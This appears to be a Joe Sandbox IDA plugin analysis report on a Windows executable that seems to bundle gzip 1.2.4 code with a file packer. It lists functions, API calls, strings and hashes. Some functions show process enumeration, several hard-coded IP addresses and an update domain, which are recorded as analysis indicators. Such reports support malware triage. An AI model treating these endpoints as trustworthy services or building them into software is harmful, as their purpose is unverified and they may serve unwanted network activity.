String ID: -- replaced with %s$ OK$%s:%s$%s: $%s: %s compressed to %s$%s: %s has %d other link%c -- unchanged$%s: %s is a directory -- ignored$%s: %s is not a directory or a regular file - ignored$stdout
API String ID: 1541217084-3248522284
Opcode ID: b5958a7073e537e6be3eee5a2b732590f34853b571a0c1dc919246365374f012
Instruction ID: 2a23522d500c7a5ea6000970241284742af6b4d2fa8c168bbd1fe75f910773dc
Opcode Fuzzy Hash: b5958a7073e537e6be3eee5a2b732590f34853b571a0c1dc919246365374f012
Instruction Fuzzy Hash: 09D113B1B00201ABD720AF64FC816763BA8E741317714853FE902E63E1D77EAA95CB1D

Function 00403500 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fileno.MSVCRT ref: 00403538
_isatty.MSVCRT ref: 0040353B
fprintf.MSVCRT ref: 0040357E
fprintf.MSVCRT ref: 00403595
_fileno.MSVCRT ref: 004035C5
_setmode.MSVCRT ref: 004035CB
_fileno.MSVCRT ref: 004035FE
_setmode.MSVCRT ref: 00403604
_fileno.MSVCRT ref: 0040366A
_fstat.MSVCRT(00000000), ref: 00403670
_fileno.MSVCRT ref: 0040370F
_fileno.MSVCRT ref: 0040371C
_fileno.MSVCRT ref: 0040377F
_fileno.MSVCRT ref: 0040378C
fprintf.MSVCRT ref: 004037C1

Part of subcall function 0040F130: fputc.MSVCRT ref: 0040F143
Part of subcall function 0040F130: fprintf.MSVCRT ref: 0040F16F

fprintf.MSVCRT ref: 00403802

Strings

OK, xrefs: 004037B8
stdout, xrefs: 00403609
written to, xrefs: 00403561
%s: compressed data not %s a terminal. Use -f to force %scompression., xrefs: 00403578
For help, type: %s -h, xrefs: 0040358F
stdin, xrefs: 0040360E
read from, xrefs: 00403555, 00403573
fstat(stdin), xrefs: 0040367D

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _fileno$fprintf$_setmode$_fstat_isattyfputc
String ID: OK$%s: compressed data not %s a terminal. Use -f to force %scompression.$For help, type: %s -h$fstat(stdin)$read from$stdin$stdout$written to
API String ID: 1326738777-4290703084
Opcode ID: aeb3b81861f52e403574609cd3c244e0d3c74c38de85d180685d4af0a9158233
Instruction ID: 86b30110bb0a3b6f2c6db9276085434286e42ed4231fcf90175aa3a5b4ebeb31
Opcode Fuzzy Hash: aeb3b81861f52e403574609cd3c244e0d3c74c38de85d180685d4af0a9158233
Instruction Fuzzy Hash: 6571D5F5B00240ABDB20DF65FC859663769E744306304853EE901D73A0EB7EEA95CB6D

Function 00405100 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.MSVCRT ref: 0040510B
_stat.MSVCRT(0044F8A0,?), ref: 00405123
_errno.MSVCRT ref: 0040512C
_stat.MSVCRT(0044F8A0,?,0044F8A0), ref: 0040514B
_stat.MSVCRT(0044F8A0,?,0044F8A0), ref: 00405187
fprintf.MSVCRT ref: 0040523A
fprintf.MSVCRT ref: 00405291
_fileno.MSVCRT ref: 004052A6
_isatty.MSVCRT ref: 004052AD
fprintf.MSVCRT ref: 004052C9
fflush.MSVCRT ref: 004052D4
fgets.MSVCRT ref: 004052E8
_isctype.MSVCRT ref: 00405303
fprintf.MSVCRT ref: 00405344
_chmod.MSVCRT ref: 00405371
_unlink.MSVCRT(0044F8A0), ref: 0040537C
fprintf.MSVCRT ref: 0040539E
perror.MSVCRT ref: 004053A5

Strings

%s: , xrefs: 00405398
%s: %s already exists;, xrefs: 00405286
%s: %s and %s are the same file, xrefs: 00405234
do you wish to overwrite (y or n)? , xrefs: 004052C0
not overwritten, xrefs: 0040533B
%s: %s: cannot %scompress onto itself, xrefs: 00405213

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_stat$_errno$_chmod_fileno_isatty_isctype_unlinkfflushfgetsperror
String ID: not overwritten$ do you wish to overwrite (y or n)? $%s: $%s: %s already exists;$%s: %s and %s are the same file$%s: %s: cannot %scompress onto itself
API String ID: 1232929357-1725047516
Opcode ID: 1ed07c99c068b10299e3d847c13043037691ae0a13ca23aa9e734b22a1568e68
Instruction ID: 6a7e35fd7f8b385ddd55cce18be339e63df7b5a6f0a9431496ccac823175c9ad
Opcode Fuzzy Hash: 1ed07c99c068b10299e3d847c13043037691ae0a13ca23aa9e734b22a1568e68
Instruction Fuzzy Hash: 8C61F470B003007BD3109B64EC92BA737A4EF45705B548436FC44EB390E6BEE9958B6D

Function 00402DF0 Relevance: 31.9, APIs: 8, Strings: 10, Instructions: 370stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040EEC0: strrchr.MSVCRT ref: 0040EECF
Part of subcall function 0040EEC0: strrchr.MSVCRT ref: 0040EEDE
Part of subcall function 0040EEC0: strrchr.MSVCRT ref: 0040EEED

strncmp.MSVCRT ref: 00402E97
strncmp.MSVCRT ref: 00402EB2
strncpy.MSVCRT ref: 00402F5D
atoi.MSVCRT(00000000), ref: 00402FDA
fprintf.MSVCRT ref: 004031E6
_fileno.MSVCRT ref: 00403254
_setmode.MSVCRT ref: 0040325E

Strings

gzcat, xrefs: 00402EFE
ab:cdfhH?lLmMnNqrS:tvVZ123456789, xrefs: 00402F86, 0040316E
GZIP, xrefs: 00402E5E
cat, xrefs: 00402EC5
%s: -Z not supported in this version, xrefs: 00403124
.exe, xrefs: 00402E20
.gz, xrefs: 00402F53
%s: -r not supported on this system, xrefs: 004030A6
%s: incorrect suffix '%s', xrefs: 004031E0
gun, xrefs: 00402EAC

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: strrchr$strncmp$_fileno_setmodeatoifprintfstrncpy
String ID: %s: -Z not supported in this version$%s: -r not supported on this system$%s: incorrect suffix '%s'$.exe$.gz$GZIP$ab:cdfhH?lLmMnNqrS:tvVZ123456789$cat$gun$gzcat
API String ID: 1511210060-2410909284
Opcode ID: 3bc455e48d4a5361739b9e2423ef43b4b4f49de21d4885c07e4e53c99fb8b497
Instruction ID: d6edb331924bb78c21df49292a51c26180e3f742f3dc669454e9bcf32040e1cd
Opcode Fuzzy Hash: 3bc455e48d4a5361739b9e2423ef43b4b4f49de21d4885c07e4e53c99fb8b497
Instruction Fuzzy Hash: DCD127707002019BD314DF24EC457763BA6AB49306F14863FE816AB3E1EBBEDA46874D

Function 00407AC0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 220filewindowCOMMON

Download Yara Rule

APIs

qsort.MSVCRT ref: 00407AE1
CreateFileA.KERNEL32(0042374C,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00407B01
MessageBoxA.USER32(00000000,Can't create pack file.,0041BA48,00000000), ref: 00407B1C
_ftol.MSVCRT ref: 00407B5D
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00407B6E
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00407B7B
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00407C41

Strings

Error writing pack file., xrefs: 00407CD7
Seek error on pack file., xrefs: 00407CA1
Can't create pack file., xrefs: 00407B15
Error opening source file., xrefs: 00407CC9

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$Message$CreatePointerSendWrite_ftolqsort
String ID: Can't create pack file.$Error opening source file.$Error writing pack file.$Seek error on pack file.
API String ID: 1500916305-1024041696
Opcode ID: dbb7e63f852ab9dd99e192b39ced9e4e053ee1132dbf60b5abd96272cbcf3cac
Instruction ID: b5ffe4538ae922592fb07cc0909b73d645e7ae2434572a5370746c21ad9d63f8
Opcode Fuzzy Hash: dbb7e63f852ab9dd99e192b39ced9e4e053ee1132dbf60b5abd96272cbcf3cac
Instruction Fuzzy Hash: 55611A31B483006BE3209B24AC46FDB7794EB84715F14453AFA05A72C1DBBDB94487AE

Function 00404BB0 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 196COMMON

Download Yara Rule

APIs

printf.MSVCRT ref: 00404BE6
printf.MSVCRT ref: 00404BFD
_lseek.MSVCRT ref: 00404C3D
_read.MSVCRT ref: 00404C62
ctime.MSVCRT(0044F880,759A3440,?,759A38A0,004036FF,?,00000008), ref: 00404CEA
printf.MSVCRT ref: 00404D1F
printf.MSVCRT ref: 00404D76
printf.MSVCRT ref: 00404DA6
printf.MSVCRT ref: 00404DC9
printf.MSVCRT ref: 00404E2B

Strings

%5s %08lx %11s , xrefs: 00404D1A
method crc date time , xrefs: 00404BE1
%9ld %9ld , xrefs: 00404D71, 00404DC4
%9lu %9lu , xrefs: 00404D5E
compressed uncompr. ratio uncompressed_name, xrefs: 00404BF8
%s, xrefs: 00404E26
(totals), xrefs: 00404DA1

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: printf$_lseek_readctime
String ID: %9lu %9lu $ %s$ (totals)$%5s %08lx %11s $%9ld %9ld $compressed uncompr. ratio uncompressed_name$method crc date time
API String ID: 1556447124-282228352
Opcode ID: de2b219f98632ea8b75618b42fd825b92a5bffff2d43f3c8c7a1cf5409859650
Instruction ID: caed29f957b9a2a5ae34b4503dae89f7bd37bbdccc10164b9880fa2a1488fc45
Opcode Fuzzy Hash: de2b219f98632ea8b75618b42fd825b92a5bffff2d43f3c8c7a1cf5409859650
Instruction Fuzzy Hash: E061DFB1B002019FE324CF68EC81A7A77A5EBC4305B44823EE915D73E0E779A915CB6D

Function 00403D40 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

_open.MSVCRT ref: 00403D92
_fstat.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00403ADC), ref: 00403DAB
_close.MSVCRT ref: 00403DE9
_unlink.MSVCRT(0044F8A0), ref: 00403DF0
_close.MSVCRT ref: 00403E17
perror.MSVCRT ref: 00403E2B
_close.MSVCRT ref: 00403E38
fprintf.MSVCRT ref: 00403E62
perror.MSVCRT ref: 00403E6D
_close.MSVCRT ref: 00403E7A
_close.MSVCRT ref: 00403E82
_unlink.MSVCRT(0044F8A0,?,?,?,?,?,?,?,?,?,?,?,?,?,00403ADC), ref: 00403E89

Strings

%s: , xrefs: 00403E5C
%s: %s: warning, name truncated, xrefs: 00403EC0

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _close$_unlinkperror$_fstat_openfprintf
String ID: %s: $%s: %s: warning, name truncated
API String ID: 1389079204-458201650
Opcode ID: a3126ab65de63e92ad8fa693e295b5a28395d762c483af1bd3e1123f9cb77154
Instruction ID: 5acda6029e939a4717fff11dc4368bb8f9bcee2258bef70ed8b10927a55ce341
Opcode Fuzzy Hash: a3126ab65de63e92ad8fa693e295b5a28395d762c483af1bd3e1123f9cb77154
Instruction Fuzzy Hash: F5414A71B003006BD310EF65FC86AA77768EB41712B44453AFD00C6390EBBEE9498BAD

Function 00403470 Relevance: 26.3, APIs: 6, Strings: 9, Instructions: 41COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403496
fprintf.MSVCRT ref: 004034B1
fprintf.MSVCRT ref: 004034C1
fprintf.MSVCRT ref: 004034D2
fprintf.MSVCRT ref: 004034E3
fprintf.MSVCRT ref: 004034F3

Strings

%s %s (%s), xrefs: 00403490
PROTO , xrefs: 004034DA
SYS_UTIME, xrefs: 0040349E
STDC_HEADERS , xrefs: 004034B8
NO_DIR, xrefs: 004034A3
Compilation options:%s %s , xrefs: 004034AB
1.2.4, xrefs: 00403487
18 Aug 93, xrefs: 00403482
NO_CHOWN , xrefs: 004034C9

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s %s (%s)$1.2.4$18 Aug 93$Compilation options:%s %s $NO_CHOWN $NO_DIR$PROTO $STDC_HEADERS $SYS_UTIME
API String ID: 383729395-2689630165
Opcode ID: a70cb19a629df5b07583c66aabe98044dffa5f6107cef01d8c84a7f8fd9d9bae
Instruction ID: 4b6a6e37a4e8a8b24d19e98f8069f77a165053a3780c44f2d19bed00bfec8d7f
Opcode Fuzzy Hash: a70cb19a629df5b07583c66aabe98044dffa5f6107cef01d8c84a7f8fd9d9bae
Instruction Fuzzy Hash: A3F0F2B2A90360B7E21497A4AE46FC62B59974DB403258617A602E6390D5FDE8D08B9C

Function 0040C320 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 114libraryloaderstringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 0040C353
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0040C36F
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0040C379
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040C383
lstrlen.KERNEL32(?), ref: 0040C3E2
lstrcpy.KERNEL32(?,?), ref: 0040C401
CloseHandle.KERNEL32(?), ref: 0040C441
CloseHandle.KERNEL32(00000000), ref: 0040C457

Strings

CreateToolhelp32Snapshot, xrefs: 0040C369
Process32Next, xrefs: 0040C37B
KERNEL32.DLL, xrefs: 0040C34E
Process32First, xrefs: 0040C371

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: AddressHandleProc$Close$Modulelstrcpylstrlen
String ID: CreateToolhelp32Snapshot$KERNEL32.DLL$Process32First$Process32Next
API String ID: 4077257286-2574356532
Opcode ID: e8387bdb3c3689115f51c203db012f4b9b98175315e1d7d8616b368c3c14683c
Instruction ID: 69232cbab9329239a9ff3fe9dd903f740cb54fcaca41571de1296c06b2b3d69c
Opcode Fuzzy Hash: e8387bdb3c3689115f51c203db012f4b9b98175315e1d7d8616b368c3c14683c
Instruction Fuzzy Hash: 0631E9312043559BC7109F64DC84BEBF7D8FF89710F404A3AE958E3280D7B9D9498B99

Function 00408AB0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,000003F5,000000C5,00007FFF,00000000), ref: 00408AF1
GetDlgItem.USER32(?,000003F6), ref: 00408AFD
SendMessageA.USER32(00000000,00000401,00000000,7FFF0000), ref: 00408B15
_beginthreadex.MSVCRT ref: 00408C4F

Strings

63.104.49.23, xrefs: 00408B67
211.53.239.211, xrefs: 00408BA8
210.122.63.89, xrefs: 00408B39, 00408C18
hP9B, xrefs: 00408C46
43.231.249.1, xrefs: 00408BE3
202.85.231.12, xrefs: 00408BB8
210.200.182.141, xrefs: 00408B7A, 00408BF6

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ItemMessageSend$_beginthreadex
String ID: 202.85.231.12$210.122.63.89$210.200.182.141$211.53.239.211$43.231.249.1$63.104.49.23$hP9B
API String ID: 2122396886-1343465851
Opcode ID: 00870eb72e755f9de7d8cac1b0a71af431e78c8d88687759df4325499df4bb19
Instruction ID: cc25442dbb5c4d6f965149cfb9878dcd33b761491a2cb82b5a7cb29ef3ad2388
Opcode Fuzzy Hash: 00870eb72e755f9de7d8cac1b0a71af431e78c8d88687759df4325499df4bb19
Instruction Fuzzy Hash: 3141E835B0960456D7244B385D057AA3BA1D782320F59827FBA9BE73D0CFB88C07935C

Function 004074D0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97filewindowCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00423A54,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004074EA
MessageBoxA.USER32(00000000,Can't create index file.,0041BA48,00000000), ref: 00407505
WriteFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00407524
MessageBoxA.USER32(00000000,Error writing index file.,0041BA48,00000000), ref: 0040753B
CloseHandle.KERNEL32(00000000), ref: 00407542

Strings

Can't create index file., xrefs: 004074FE
Error writing index file., xrefs: 00407534, 004075B1

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: FileMessage$CloseCreateHandleWrite
String ID: Can't create index file.$Error writing index file.
API String ID: 2961909895-600444791
Opcode ID: f85f91edbfcc18edba49a262f6f646280cdb792821b01d4b12fb3f4e1be4ab76
Instruction ID: 8a0bc0facd1aecf11997ae2cae6aa2fac9b54c369b2d5b7d37cf35be00517035
Opcode Fuzzy Hash: f85f91edbfcc18edba49a262f6f646280cdb792821b01d4b12fb3f4e1be4ab76
Instruction Fuzzy Hash: 5B21D631788201BEE310CB38FC46FDB7794EB84756F20852AF209E15D0D7B8A584C79A

Function 004053D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00405414
_chmod.MSVCRT ref: 0040543A
fprintf.MSVCRT ref: 00405467
perror.MSVCRT ref: 0040548D
_chmod.MSVCRT ref: 004054A6
_unlink.MSVCRT(0048C280), ref: 004054AD
fprintf.MSVCRT ref: 004054D9
perror.MSVCRT ref: 004054FF

Strings

%s: time stamp restored, xrefs: 0040540E
%s: , xrefs: 00405461, 004054D3

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_chmodperror$_unlink
String ID: %s: $%s: time stamp restored
API String ID: 3310226241-733184430
Opcode ID: 24a8beef19f5cd096eb5dda689d36be08d908d389252601d4180a251c570d050
Instruction ID: 67df91fde78b826e4749d222bdc36cb0341bab375db6d7fecd87f0bb88f8dbba
Opcode Fuzzy Hash: 24a8beef19f5cd096eb5dda689d36be08d908d389252601d4180a251c570d050
Instruction Fuzzy Hash: 27318470740301A7E720AF55EC82BA733A8EB40755B548436E904EB390E7BDE9958F6D

Function 004071D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,usmainupd2.lineageTheBloodPledge.com,?,75C09CE0,?,0040A69E,lineage.cfg,00000000,usmainupd2.lineageTheBloodPledge.com), ref: 004071EB
sprintf.MSVCRT ref: 00407203
GetFileSize.KERNEL32(00000000,00000000,?,0040B53D), ref: 00407216
sprintf.MSVCRT ref: 00407244
CloseHandle.KERNEL32(00000000), ref: 0040724E

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 004071D7
File not found for %s, xrefs: 004071F9

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Filesprintf$CloseCreateHandleSize
String ID: File not found for %s$usmainupd2.lineageTheBloodPledge.com
API String ID: 2219480462-2963495118
Opcode ID: 58fef6064f4c8a2234d0555b2f3379d0813ace5401b7a8ee403f8e7830520cab
Instruction ID: 5245a720053aa41af2b67493ead1f6ba6fd0905d8e977c31303b170893638657
Opcode Fuzzy Hash: 58fef6064f4c8a2234d0555b2f3379d0813ace5401b7a8ee403f8e7830520cab
Instruction Fuzzy Hash: 4511E7327443007BD1106B69BC49FD73B5CDB85B66F104036FB04A11D1D7A96544426E

Function 0040EF00 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 156stringCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040EF16
strspn.MSVCRT ref: 0040EF7A
strcspn.MSVCRT ref: 0040EF90
free.MSVCRT ref: 0040EFAC

Strings

argc<=0, xrefs: 0040F000
out of memory, xrefs: 0040EFDC
n.@, xrefs: 0040EF05, 0040EF0F

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: freegetenvstrcspnstrspn
String ID: argc<=0$n.@$out of memory
API String ID: 3980070842-2039068372
Opcode ID: b377abb427cc531090c987af98b4f5916b5b97905e371a5181f3429f52bfafb0
Instruction ID: 0d06460566aa7cc97bb9a07f500ff12f0f6c80f3c491f2905d9dfca7791f36b4
Opcode Fuzzy Hash: b377abb427cc531090c987af98b4f5916b5b97905e371a5181f3429f52bfafb0
Instruction Fuzzy Hash: 1A41E5B16043065BD7249F28AC4066777D1EF85324F28057EFCC6A7382DBBE9C468799

Function 00404200 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 004040C0: _strlwr.MSVCRT ref: 0040415D

fprintf.MSVCRT ref: 004042B6
_strlwr.MSVCRT ref: 004042C5
fprintf.MSVCRT ref: 00404397

Strings

.tgz, xrefs: 004042CE
.tar, xrefs: 00404347
%s: %s: unknown suffix -- ignored, xrefs: 004042B0
%s: %s already has %s suffix -- unchanged, xrefs: 00404391
.taz, xrefs: 00404306

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _strlwrfprintf
String ID: %s: %s already has %s suffix -- unchanged$%s: %s: unknown suffix -- ignored$.tar$.taz$.tgz
API String ID: 482835165-2475073226
Opcode ID: 36b048917b2985cbf2fac1135b6efcdcbd1921479a9c6b949d41a688d8a32ec4
Instruction ID: 5683366541345941d0fbb9906bcc136d9a94eb4e2445dfba0e80b07bcff9359f
Opcode Fuzzy Hash: 36b048917b2985cbf2fac1135b6efcdcbd1921479a9c6b949d41a688d8a32ec4
Instruction Fuzzy Hash: 25510FB17001400BD7248E38AC91BAB37E5ABD2765358927AEE82D73E0E67EC905934C

Function 00404F70 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 156stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F070: fprintf.MSVCRT ref: 0040F090

strrchr.MSVCRT ref: 00405049
strcspn.MSVCRT ref: 00405066
strrchr.MSVCRT ref: 004050A1

Strings

.tgz, xrefs: 00405020
.tar, xrefs: 00404FE8
can't recover suffix, xrefs: 00404FC6
name too short, xrefs: 00404F9F
internal error in shorten_name, xrefs: 004050AC

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

